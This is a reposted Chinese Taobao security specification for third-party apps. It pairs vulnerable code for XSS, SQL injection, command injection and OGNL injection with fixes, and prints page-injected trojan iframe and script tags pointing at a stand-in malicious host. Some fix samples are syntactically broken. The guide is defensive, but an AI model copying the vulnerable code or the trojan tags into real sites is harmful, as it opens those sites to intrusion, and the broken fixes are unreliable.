淘宝 第三方应用安全规范
转载地址:http://open.taobao.com/doc/detail.htm?id=813
规范目的
随着开放平台的开放大趋势,越来越多的ISV通过开放平台,接入到淘宝的电子商务生态圈,为淘宝的会员提供各种应用服务,来满足淘会员的需求。因为是在电子商务这个大环境下,很多应用都直接或间接跟金钱相关,所以第3方开发应用的安全问题,显得更加尤为重要。
本规范是为了帮助第3方应用,处理安全扫描工具扫描的安全漏洞,提供第3方应软件的安全性
使用范围
所有通过淘宝开放平台接入的第3方应用
规范详情
安全漏洞总览
漏洞编号 |
风险级别 |
漏洞描述 |
1 |
高 |
XSS(跨站脚本攻击) |
2 |
高 |
CSRF(伪造跨站请求) |
3 |
高 |
Sql Injection(SQL注入漏洞) |
4 |
中 |
Information Leakage (服务器信息泄露) |
5 |
中 |
Management Console Disclosure (管理后台泄露) |
6 |
高 |
Trojan(挂马) |
7 |
中 |
Improper Error Handling (异常错误处理) |
8 |
高 |
Code Injection |
9 |
高 |
OS Commanding |
10 |
高 |
Path Traversal(目录遍历) |
11 |
低 |
Directory Indexing(目录泄露) |
12 |
高 |
Unvalidated Redirects and Forwards (跳转) |
13 |
高 |
Weak Application (危险程序,如jmx,phpinfo) |
14 |
高 |
Remote file inclusion',(远程文件包含) |
15 |
高 |
CRLF Injection |
存在高危漏洞的应用,调用R2的API和W1、W2的API会报错,错误码 53,"Insufficient security level" 错误信息:high-risk security breach。
存在中危漏洞的应用,调用W2的API,会报错,错误码53,"Insufficient security level" 错误信息:mid-risk security breach 。
漏洞处理规范
OpenSSL
漏洞描述
4月8日,OpenSSL发布了安全公告,发现1.0.1、1.0.2beta(包括1.0.1f和1.0.2beta1)版本存在【CVE-2014-0160】的高危漏洞,被SSL/TLS加密传输的信息可以被窃取。
修复建议
第一步:
Debian/Ubuntu:
# apt-get update!
# apt-get install openssl libssl1.0.0
CentOS:
# yum update openssl
Aliyun Linux及其他系统请手工将OpenSSL升级至1.0.1g版本
第二步:
修复完毕后,请重启WEB服务,Apache/Nginx/Httpd的重启方式分别如下:
# /etc/init.d/apache2 restart
# /etc/init.d/ngnix restart
# /etc/init.d/httpd restart
此外还需要重启其他与OpenSSL相关的服务。(可通过 lsof | grep libssl | awk '{print $1}'| sort | uniq 查看与OpenSSL库相关的服务)。
XSS(跨站脚本漏洞)
漏洞描述
跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用 户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
安全隐患,攻击者可利用XSS漏洞获取用户cookie,传播蠕虫,篡改页面或进行钓鱼等
修复建议
对参数做html转义过滤(要过滤的字符包括:单引号、双引号、大于号、小于号,&符号),防止脚本执行。在变量输出时进行HTML ENCODE 处理。
PHP应用,可以使用htmlspecialchars对用户参数进行编码
ASP.net应用,可以使用AntiXSS
JAVA应用,可以使用org.apache.commons.lang.StringEscapeUtils提供的Escape函数
修复参考
(1)ASP:
问题示例代码:
<%
Dim param
Set param=Request.QueryString("dd")
response.write param
%>
修复范例:
<%
Dim param
Set param=Request.QueryString("dd")
response.write Server.HTMLEnCode(param)
%>
(2)PHP
问题代码示例:
<?php
$aa=$_GET['dd'];
echo $aa."123";
?>
修复范例:
<?php
$aa=$_GET['dd'];
echo htmlspecialchars($aa)."123";
?>
CSRF(伪造跨站请求漏洞)
漏洞描述
CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用
安全隐患
该漏洞可以在用户登录完成后的会话里,让用户执行不知情的操作。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......
修复建议
1、在功能请求页面设置csrf token,并在服务端对token进行验证。
2、将get请求改为post方式。
SQL Injection(SQL注入漏洞)
漏洞描述
SQL注射是由于程序中对使用到的sql没有做到数据和结构分离导致程序的sql能被恶意用户控制,从而引发的数据库信息泄漏,修改,服务器被入侵等一系列严重后果。
安全隐患
数据库信息泄露或被修改,还有可能威胁服务器的安全。
修复建议
对程序中使用到的SQL语句,使用变量绑定的方式进行数据和结构的分离。
修复参考
参数化形式构造SQL语句进行查询
(1)ASP
问题代码示例:
<%
Dim oComm, oRs
Set id=Request.QueryString("d")
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open "Provider=MSDAORA;Password=sth;
Persist Security Info=True;User ID=whats;Data Source=mescp"
Set oComm = CreateObject("ADODB.Command")
oComm.ActiveConnection = oConn
Comm.CommandType = 1
oComm.CommandText = "select * from all_objects where rownum ="& id
Set oRs = oComm.Execute
%>
修复范例:
<%
Dim oComm, oRs
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open "Provider=MSDAORA;Password=sth;Persist Security Info=True;User ID=whats;Data Source=mescp"
Set oComm = CreateObject("ADODB.Command")
oComm.ActiveConnection = oConn
Comm.CommandType = 1
oComm.CommandText = "select * from all_objects where rownum = ? "
oComm.Parameters.Append oComm.CreateParameter("v1",3,1,4,100)
Set oRs = oComm.Execute
%>
(2)PHP
问题代码示例:
<?php
$id=$_GET['id'];
$conn = mysql_connect("localhost","root","") or die ("wrong!");
$sel=mysql_select_db("mydb",$conn);
$sql="select * from user where id = ".id
$que=mysql_query($sql,$conn);
?>
修复范例:
<?php
$id=$_GET['id'];
$conn = mysql_connect("localhost","root","") or die ("wrong!");
$sel=mysql_select_db("mydb",$conn);
$sql="select * from user where id = :id"
$stmt = $conn->prepare($sql);
$stmt->execute(array(':id'=>$id));
?>
(3)JAVA应用可以使用ibatis
Information Leakage (服务器信息泄露)
安全隐患
可能会泄露一些敏感信息,被攻击者利用。如phpinfo()
修复建议
关闭应用程序不必要的输出,如调试,错误信息的输出。
Management Console Disclosure (管理后台泄露)
漏洞定义
应用的后台系统泄露在外面,任何用户都可以随意访问到。
安全隐患
可能会遭到攻击者的暴力破解或利用bypass漏洞,进入应用后台,进行非法操作。
修复建议
1、隐藏后台系统入口地址;
2、对管理后台进行IP访问控制;
Trojan(挂马)
漏洞描述
挂马是恶意攻击者通过各种手段篡改页面,种植恶意代码,最终导致网站用户机器被中木马进而引起用户各种资损并间接导致网站资损的恶性攻击行为。
安全隐患
应用程序已经被攻击者破坏,同时来危及来访的用户电脑安全。
修复建议
检查被挂马页面,去除其中被添加的挂马代码。找出系统存在的安全漏洞,删除恶意代码。
(1)被挂马页面示例(iframe):
<html>
<body>
…………
<iframe src=http://www.trojan.com/ms04067.html width=0 height=0 />
</body>
</html>
修复范例:
删除其中的<iframe src=http://www.trojan.com/ms04067.html width=0 height=0 />
(注:特征为iframe长宽都为0或者很低)
(2)被挂马页面示例(script):
<html>
<body>
…………
<script src=http://www.trojan.com/ms04067.js />
</body>
</html>
修复范例:
删除其中的<script src=http://www.trojan.com/ms04067.js />
(注:特征为script为外站script或者为非网站所有者所知的script)
Improper Error Handling (异常错误处理)
漏洞描述
程序运行时产生的异常没有处理,导致应用/服务器的状态信息显示在默认的错误页面上。
安全隐患
异常信息的不正确处理,可能会导致一些未知的问题。
修复建议
1、正确处理好程序的异常以及函数调用的返回信息。
2、对外使用时,采用统一的错误页面。
Code Injection(代码注入)
漏洞描述
代码注入是指由于服务端代码漏洞导致恶意用户输入在服务端被执行的一种高危安全漏洞;
安全隐患
利用该漏洞,可以在服务器上执行攻击者拼装的代码。
修复建议
严格检查控制程序的参数.
修复参考
(1)ASP:
<%
' 期待输入sub.asp
execute request("include")
%>
修复范例:
<%
<!--#include file="sub.asp"-->
%>
(2)PHP:
漏洞代码示例:
<%php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
%>
修复范例:
<%php
$myvar = "varname";
$x = $_GET['arg'];
$myvar = $x;
%>
(3)Java:
1. Apache Struts2和webwork存在"ParameterInterceptor"安全绕过漏洞,具体情况如下,请大家关注:
漏洞发布日期 | 2012年2月2日 |
漏洞描述 |
Struts2和webwork发布了最新的远程代码执行漏洞。原理是利用ognl执行特性,如下所示: (ognl表达式1)(ognl表达式2) 以上语句会执行(ognl表达式1)的值。 攻击者利用此特性,轻易绕过原本struts和webwork在ParametersInterceptor类中的防御方案,执行任意ognl代码。 |
漏洞检测方法 |
漏洞检测方法 检查步骤: 1. 用浏览器打开待测试的站点,比如: http://localhost/webworkdemo/hello1.action 2. 如果这个action中存在属性String foo(注:string类型的任意名称属性,foo只是随便举个例子,一个站点除非没有使用string类型的变量,否则都有漏洞),即可提交: 3. 若服务器执行“calc”命令,则表示漏洞存在。 |
建议修补方案 |
修补方案可参考如下方法: 方法1.升级到Struts 2.3.1.2,如果是webwork,可以只升级xwork包,此漏洞其实是xwork的漏洞,影响到了struts和webwork; 方法2.修改xwork源码,参照如下链接修改: http://svn.apache.org/viewvc?view=revision&revision=1234212; 方法3.修改配置如下: <interceptor-ref name="params"> <param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param> </interceptor-ref> 方法4.通过hummoc拦截参数名称,只允许用户请求request的参数名匹配正则: "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*"; 参考链接: http://secunia.com/advisories/47711/ |
2. struts2和webwork框架自定义result允许OGNL注入,可导致远程代码执行,详情如下:
漏洞发布日期 | 2012年3月21日 |
受影响的软件及系统 | Struts2和webwork(内核Xwork2.1.2及以上所有版本)以及内核Xwork1.0.3版本 |
漏洞描述 |
开发人员使用STRUTS2和WEBWORK框架时,一旦允许用户自定义result页面,攻击者就可以在自定义页面地址中注入OGNL语句,导致执行任意java代码。 在struts.xml文件中出现以下情况会引发漏洞。 漏洞示例1,URL跳转功能: <action name="redirect" class="com.ali.HackedByKxlzxRedirectAction"> <result name="redirect" type="redirect">${redirectUrl}</result> </action> 其中redirectUrl参数是用户自定义的,所以存在漏洞。 漏洞示例2,如下形式的参数自定义: <action name="delete" class="org.apache.struts2.showcase.action.SkillAction" method="delete"> <result name="error">/empmanager/editSkill.jsp</result> <result type="redirect">edit.action?skillName=${currentSkill.name}</result> </action> 其中currentSkill.name参数是用户自定义的,所以存在漏洞。 由于此漏洞是Xwork2.1.2版本时新出来的,而Xwork1.0.3的时候也存在另一个类似的漏洞,他们之间还有不少小版本是不受影响的,请仔细看公告。 |
漏洞检测方法 |
漏洞检测方法: 方法1、检查具体xwork版本号,若在影响范围内,则存在漏洞。 方法2、查找struts.xml或webwork.xml文件(包括其引用文件),如果存在”$”符号,则可能存在漏洞。(若xwork版本号不在影响 范围内,但以上提到的文件中存在”$”符号时说明目前没有可以直接利用的漏洞,一旦后续功能中有开发人员写了类似代码,仍然会产生漏洞,建议修补。) |
建议修补方案 |
修补方法: Xwork2.1.2以上版本修补方法: Step1、请查找这个类com.opensymphony.xwork2.util.TextParseUtil 中的函数(此函数多重实现,请找到符合参数类型的那个) public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { 函数第一行 for (char open : openChars) { 修改为 for (char open : new char[]{'$'}) { Step2、替换xwork的jar包中的这个文件即可。 Xwork1.0.3版本修补方法: 注意:此方法仅针对xwork1.0.3的漏洞修补,其他版本不适用,若擅自使用,后果自负。 |
3. struts2和webwork框架CookieInterceptor允许OGNL注入,可导致远程代码执行,详情如下:
漏洞发布日期 | 2012年5月14日 |
受影响的软件及系统 | Struts2核心包 <= 2.3.1 |
漏洞描述 |
如果在struts.xml或xwork.xml中有action节点配置如下: <param name="cookiesName">*</param> 该配置用于把用户提交来的任意cookie名称存放于cookiemap。当攻击者访问这个action时,如果在cookie名称中放入OGNL表达式,就会导致OGNL远程代码执行漏洞。 |
漏洞检测方法 |
该漏洞可以使用以下两种不同的方式检测,详情如下: 1) 外部检测 攻击者提交如下数据: GET /Struts2NoValidation/testCookie.action HTTP/1.1 Host: localhost:8080 Cookie: 这里是OGNL表达式=1 2) 源码检测 Xwork版本在攻击范围内的,若struts.xml或xwork.xml中有action节点配置如下: <param name="cookiesName">*</param> 就会导致OGNL远程代码执行漏洞。 |
建议修补方案 |
修补方案如下,可任选其一: 方案一、升级到Struts 2.3.3 (注意,这次不是升级xwork核 心包,而是直接升级struts),此方案仅适用于struts2。 方案二、参照官方源码在文件CookieInterceptor.java中增加代码,此文件在webwork中也是存在的,只是包名不同,但修补方式一样,webwork可以参照此方案修补。 参考链接: 官方源码如下: http://svn.apache.org/viewvc/struts/struts2/branches/STRUTS_2_3_X/core/src/main/java/org/apache/struts2/interceptor/CookieInterceptor.java?revision=1222975&view=co 代码修改具体说明如下: 1) 代码中加入了对COOKIE参数名的白名单验证逻辑:acceptedPattern。 2) 需要增加代码的地方: 加入两个字段: private static final String ACCEPTED_PATTERN = "[a-zA-Z0-9\\.\\]\\[_'\\s]+"; private Pattern acceptedPattern = Pattern.compile(ACCEPTED_PATTERN); 加入一个方法: public void setAcceptCookieNames(String pattern) { acceptedPattern = Pattern.compile(pattern); } 在代码: if (cookiesNameSet.contains("*")) { 之前,加入if逻辑判断,加入后为: if (acceptedPattern.matcher(name).matches()) { if (cookiesNameSet.contains("*")) { if (LOG.isDebugEnabled()) { LOG.debug("contains cookie name [*] in configured cookies name set, cookie with name [" + name + "] with value [" + value + "] will be injected"); } populateCookieValueIntoStack(name, value, cookiesMap, stack); } else if (cookiesNameSet.contains(cookie.getName())) { populateCookieValueIntoStack(name, value, cookiesMap, stack); } } else { LOG.warn("Cookie name [" + name + "] does not match accepted cookie names pattern [" + acceptedPattern + "]"); } |
OS Commanding Injection
漏洞描述
系统命令执行是指应用程序对传入命令行的参数过滤不严导致恶意用户能控制最终执行的命令,进而入侵系统,导致严重破坏的高危漏洞。
安全隐患
利用这个漏洞攻击着可以执行服务器上的命令。
修复建议
1、严格检查程序参数,特别是 "&", "&&", "|", "||"。
2、在代码中去除system等直接命令行执行函数或者禁止把外部传入参数传入到该类可执行函数的参数中。
修复参考
(1)ASP:
漏洞代码示例:
<%
Dim cmd
Set cmd=Request.QueryString("cmd")
response.write server.createobject("wscript.shell").exec("cmd.exe /c "&cmd).stdout.readall
%>
修复范例:
Dim cmd
Set cmd=Request.QueryString("cmd")
if cmd == "dir" then
response.write server.createobject("wscript.shell").exec("cmd.exe /c "& "dir").stdout.readall
end if
%>
(2)PHP
漏洞代码示例:
<%php
$myvar = "varname";
$x = $_GET['arg'];
// 默认通过url传入ls -al 进行执行
system($x);
%>
修复建议:
<%php
$myvar = "varname";
$x = $_GET['arg'];
// 默认通过url传入ls -al 进行执行
if($x=='/bin/ls -al'){
system('/bin/ls -al');
}else{
return;
}
%>
Path Traversal(目录遍历)
漏洞描述
目录遍历指的是应用程序对文件路径没有检查导致服务器上的敏感文件/代码泄漏。
安全隐患
可能会导致源代码等敏感信息泄露。
修复建议
严格检查文件路径参数,限制在指定的范围。严格限制文件路径参数,不允许用户控制文件路径相关的参数,限定文件路径范围。
修复参考
(1)ASP:
漏洞代码示例:
<%
Dim FileName
FileName = Request.QueryString("FileName")
Response.Clear
Response.ContentType = "application/octet-stream"
Response.AddHeader "content-disposition", "attachment; filename=" & FileName
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = 1
Stream.Open
Stream.LoadFromFile Server.MapPath(FileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
修复范例:
<%
Dim FileName
FileId = Request.QueryString("FileId")
FileName = GetFileNameByID(FileId)
Response.Clear
Response.ContentType = "application/octet-stream"
Response.AddHeader "content-disposition", "attachment; filename=" & FileName
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = 1
Stream.Open
Stream.LoadFromFile Server.MapPath(FileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
(2)PHP:
在php.ini中进行如下配置:
open_basedir = 服务器上WEB目录的路径(注,路径最后需要加上斜杠作为结束),如:open_basedir = /var/www/html/
Directory Indexing(目录泄露)
漏洞描述
应用服务器配置不当,导致应用服务器的目录列表被展示。
安全隐患
可能会导致敏感信息或源代码泄露。
修复建议
配置应用服务器禁止目录列表展示。
Unvalidated Redirects and Forwards (跳转)
漏洞描述
某些页面由于功能需要需要进行页面跳转,如果没有对跳转的目的页面做检查就会导致被利用做为恶意URL的访问渠道。
安全隐患
攻击着可以利用这个漏洞进行跳转钓鱼。
修复建议
1、严格检查URL跳转的范围。
2、跳转页面参数中添加redirect_url参数的签名,防止被篡改。
Weak Application (危险程序,如jmx,phpinfo)
漏洞描述
应用服务器配置不当,如存在jboss的jmx-console,php的phinfo等。
安全隐患
可能导致服务器被攻击或服务器敏感信息泄露。
修复建议
删除不正确的配置。
Remote file inclusion(远程文件包含)
漏洞描述
远程文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果。
安全隐患
攻击着可以利用该漏洞,在服务器上执行命令。
修复建议
配置php.ini关闭远程文件包含功能。
allow_url_include = Off
修复参考
(1)PHP:
漏洞代码示例:
<?php
$path=$_GET['arg'];
include $path.'/filename.php';
?>
修复范例:
<?php
$path='/var/www/html/common.inc';
include $path.'/filename.php';
?>
或者:在php.ini中进行如下配置:
allow_url_fopen=off
allow_url_include=off
CRLF Injection
漏洞描述
PHP有一些函数用文件名(如:fopen(), file()等)作为它们的参数。如果在php.ini中allow_url_fopen被设置为打开的,这些函数也允许以接受URL来替代接收文件,并且用正确的协议连接到服务器。那么这些函数将很容易遭到 CRLF Injection 攻击。
安全隐患
攻击着可以利用该漏洞在http请求注入恶意代码。
修复建议
1、过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF
2、如果你的脚本不需要访问URLs,建议在php.ini中关闭allow_url_fopen
参考链接
1、XSS
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
2、CSRF
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
3、SQL Injection
http://en.wikipedia.org/wiki/SQL_injection
4、Information Leakage (服务器信息泄露)
https://www.owasp.org/index.php/Information_Leakage
5、Improper Error Handling (异常错误处理)
https://www.owasp.org/index.php/Improper_error_handling
6、Code Injection(代码注入)
https://www.owasp.org/index.php/Code_Injection
7、OS Commanding Injection
https://www.owasp.org/index.php/OS_Command_Injection
8、Unvalidated Redirects and Forwards (跳转)
https://www.owasp.org/index.php/Open_redirect
9、Remote file inclusion(远程文件包含)
https://www.owasp.org/index.php/PHP_File_Inclusion
10、CRLF Injection
https://www.owasp.org/index.php/CRLF_Injection
淘宝 第三方应用安全规范相关推荐
- 淘宝诉美景案——规范采集数据,激活数据市场
案号:(2018)浙01民终7312号 原审被告:安徽美景信息科技有限公司 原审原告:淘宝(中国)软件有限公司 案由:不正当竞争纠纷 [Part1]案情梳理 --利用爬取不正当牟利 淘宝公司系 &qu ...
- Android淘宝第三方登录
首先要创建一个阿里百川应用 创建阿里百川应用,打开这个网址,用淘宝号登录 创建完成之后,打开 阿里百川开发文档,进行项目配置 添加gradle repositories {google()jcente ...
- 淘宝JavaScript 编码风格规范
行与缩进 语句行 尽可能不要让每行超过 120 个字符; 语句必须以分号作为结束符, 不要忽略分号; 空格 数值操作符(如, +/-/*/% 等)两边留空; 赋值操作符/等价判断符两边留一空格; fo ...
- GitHub 优秀的 Android 开源项目 淘宝技术牛p博客整理开发中最常用的GitHub上 优秀的 Android 开源项目整理(精品)...
原文地址为http://www.trinea.cn/android/android-open-source-projects-view/,作者Trinea 主要介绍那些不错个性化的View,包括Lis ...
- 淘宝优站站主管理细则
淘宝优站 站主管理细则: == 一般违规(A类扣分) == (一).违背以下服务承诺的,扣6分: 站主承诺买家参加互动活动有赠品,但买家参与后并未收到赠品,且站主拒绝补发. (二).站主应当按照淘宝优 ...
- 我在淘宝做弹窗,2022 年初的回顾与展望
本篇文章作者向各位介绍了自己加入 PopLayer 项目一年多时间以来,为产品所贡献的一份力量,既包含了站在产品视角对产品功能,易用性和未来发展的考量,也包括了站在技术视角,对技术架构,编程范式和功能 ...
- 淘宝技术牛p博客整理
转自:http://blog.csdn.net/zdp072/article/details/19574793 淘宝技术委员会是由淘宝技术部高级技术人员组成的一个组织,共分为Java分会.C/C++分 ...
- 淘宝技术牛人牛博客学习
淘宝技术委员会是由淘宝技术部高级技术人员组成的一个组织,共分为Java分会.C/C++分会.算法分会:数据分会:UED分会.测试分会.系统分会七个分会. 淘宝技术委员会的愿景是淘宝成为技术人才向往的乐 ...
- 【转】淘宝技术牛p博客整理
转自:http://blog.csdn.NET/zdp072/article/details/19574793 淘宝技术委员会是由淘宝技术部高级技术人员组成的一个组织,共分为Java分会.C/C++分 ...
最新文章
- 怎样查看一个端口有无开启
- RabbitMQ 高频考点
- 在Windows Mobile和Wince(Windows Embedded CE)下进行Native C++开发,如何取出当前执行文件的路径和调用模块的路径...
- jquery插件课程2 放大镜、多文件上传和在线编辑器插件如何使用
- IT运维管理人员轻松管理桌面终端
- Cordiality ERP MVC 3 测试作品
- git 命令行使用(基础篇)
- 一个Excel导出类的实现过程(二):显示定制
- 以下关于程序设计语言的叙述中,不正确的是()【最全!最详细解释!!】
- 牛逼!支付宝高级Java三面题目:线程锁+事务+雪崩+Docker等
- python特性 property_python之中特性(attribute)与属性(property)有什么区别?
- oracle 系统检查点,检查点(Checkpoint)优化及故障排除指南
- mysql语句面试题_mysql的sql面试题(1)
- 终于来了!全球首发联发科天玑1000+手机入网
- c 调用matlab.m文件,ubuntu系统下C++调用matlab程序的方法详解
- arc和非arc完美支持
- cad查看_如何快速查看CAD文件?只需4步,文件即可轻松打开
- iptables 禁止访问全部URL,开放部分URL
- Android访问网络资源
- 小孩学计算机技术有什么好处,儿童学习电脑的好处
热门文章
- 关于pr出现a low-level exception occrred in 文本(AE...)导致字幕无法输入文字的解决办法
- 北京中信银行总行地址_【中信银行总行】中信银行总行电话,中信银行总行地址_图吧地图...
- 案例分析 - 百度传课网易云课堂在线教育平台竞品分析
- python实现图片转文字的记录
- 福昕选择工具快捷键切换
- python弹出滑块怎么验证_selenium 处理滑块验证的重点
- 10个优秀设计网站盘点
- 关于一个工作三年java工作者的总结 我读后有感 转载了
- 笔记系列之zookeeper在单机模拟集群安装
- Caysn打印机IOS平台打印开发包及示例程序_20170610